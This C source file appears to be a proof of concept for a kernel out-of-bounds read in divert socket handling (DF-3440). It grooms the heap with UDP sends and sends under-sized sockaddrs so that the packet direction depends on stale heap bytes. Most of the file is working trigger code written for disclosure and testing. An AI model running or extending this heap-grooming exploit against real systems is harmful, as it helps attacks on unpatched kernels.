DF-3440 / div3440.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 | /* * div3440.c - DF-3440: div_output() reads sin_port/sin_addr from an * unvalidated, under-sized destination sockaddr (divert socket). * * getsockaddr() (kern/uipc_syscalls.c:1513) kmalloc's EXACTLY namelen * bytes (min 4). div_send() -> div_output() reads, without any length * validation: * sin_port @ offset 4..8 (past the buffer for namelen < 8) * sin_addr @ offset 8..12 (past the buffer for namelen < 12) * and steers the re-inject direction with it: * DIV_IS_OUTPUT(sin) = (sin==NULL || sin->sin_addr.s_addr == 0) * == 0 -> ip_output() (ipstat.ips_rawout -> "fabricated ip header") * != 0 -> ip_input() (checksum validated -> "bad header checksums" * when the crafted packet's ip_sum is wrong) * * Grooming: a preceding sendto() with a 16-byte sockaddr on a UDP * socket leaves its bytes in the 16-byte slab chunk (M_SONAME, LIFO * reuse). A following divert sendto() with namelen=9 (16-byte zone, * 3 bytes slack) inherits bytes 9..12 of sin_addr from the groom. * * Expected on a vulnerable kernel: * control A (16B sa, INADDR_ANY, bad-sum pkt) -> fabricated+1 * control B (16B sa, 10.1.2.3, bad-sum pkt) -> badsum+1 * groom 1.2.3.4 + 9B sa (byte8=0) -> badsum+1 (OOB!=0) * groom 0.0.0.0 + 9B sa (byte8=0) -> fabricated+1(OOB==0) * i.e. the re-inject direction is a function of out-of-bounds heap * bytes recycled inside the under-sized sockaddr allocation. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #ifndef IPPROTO_DIVERT #define IPPROTO_DIVERT 258 #endif static unsigned long stat1(const char *key) { char cmd[256]; FILE *f; char line[512]; snprintf(cmd, sizeof(cmd), "netstat -s -p ip 2>/dev/null | grep '%s' | head -1", key); f = popen(cmd, "r"); if (!f) return 0; if (!fgets(line, sizeof(line), f)) { pclose(f); return 0; } pclose(f); return strtoul(line, NULL, 10); } static int dfd, ufd; static unsigned char pkt[48]; static void mkpkt(void) { struct ip *ip = (struct ip *)pkt; memset(pkt, 0, sizeof(pkt)); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_len = htons(sizeof(pkt)); ip->ip_id = htons(0x4321); ip->ip_ttl = 64; ip->ip_p = 1; /* ICMP */ inet_pton(AF_INET, "127.0.0.1", &ip->ip_src); inet_pton(AF_INET, "127.0.0.1", &ip->ip_dst); pkt[20] = 8; /* ICMP echo request */ ip->ip_sum = 0xBEEF; /* deliberately wrong */ } /* groom the 16-byte M_SONAME zone with the given in_addr bytes */ static void groom(const char *addr) { struct sockaddr_in g; memset(&g, 0, sizeof(g)); g.sin_len = sizeof(g); g.sin_family = AF_INET; g.sin_port = htons(9); inet_pton(AF_INET, addr, &g.sin_addr); sendto(ufd, "x", 1, 0, (struct sockaddr *)&g, sizeof(g)); } static void trial(const char *name, const void *sa, socklen_t len, int usegroom, const char *gaddr) { unsigned long fab0, fab1, bad0, bad1; if (usegroom) groom(gaddr); fab0 = stat1("fabricated ip header"); bad0 = stat1("bad header checksums"); sendto(dfd, pkt, sizeof(pkt), 0, sa, len); usleep(200000); fab1 = stat1("fabricated ip header"); bad1 = stat1("bad header checksums"); printf("%-42s fab %lu->%lu badsum %lu->%lu => %s\n", name, fab0, fab1, bad0, bad1, (fab1 > fab0) ? "OUTPUT (sin_addr==0 read OOB)" : (bad1 > bad0) ? "INPUT (sin_addr!=0 read OOB)" : "no effect"); } int main(void) { struct sockaddr_in full; unsigned char sa9[9]; unsigned char sa4[4]; int i; if ((dfd = socket(AF_INET, SOCK_RAW, IPPROTO_DIVERT)) < 0 || (ufd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf(stderr, "socket: %s (need root)\n", strerror(errno)); return 1; } mkpkt(); memset(&full, 0, sizeof(full)); full.sin_len = sizeof(full); full.sin_family = AF_INET; /* controls */ full.sin_addr.s_addr = 0; trial("ctrl A: 16B sa INADDR_ANY (want OUTPUT)", &full, sizeof(full), 0, NULL); inet_pton(AF_INET, "10.1.2.3", &full.sin_addr); trial("ctrl B: 16B sa 10.1.2.3 (want INPUT)", &full, sizeof(full), 0, NULL); /* groomed under-sized sockaddr: namelen=9, 16-byte zone, 3B slack */ memset(sa9, 0, sizeof(sa9)); sa9[0] = 9; sa9[1] = AF_INET; trial("groom 1.2.3.4 + 9B sa (want INPUT)", sa9, sizeof(sa9), 1, "1.2.3.4"); trial("groom 0.0.0.0 + 9B sa (want OUTPUT)", sa9, sizeof(sa9), 1, "0.0.0.0"); trial("groom 1.2.3.4 + 9B sa (want INPUT)", sa9, sizeof(sa9), 1, "1.2.3.4"); trial("groom 0.0.0.0 + 9B sa (want OUTPUT)", sa9, sizeof(sa9), 1, "0.0.0.0"); /* ungroomed 4-byte sockaddr: sin_addr wholly OOB (8..12 past an * 8-byte chunk) - direction decided by whatever the heap holds */ memset(sa4, 0, sizeof(sa4)); sa4[0] = 4; sa4[1] = AF_INET; for (i = 0; i < 5; i++) trial("ungroomed 4B sa (direction = raw OOB heap)", sa4, sizeof(sa4), 0, NULL); return 0; } |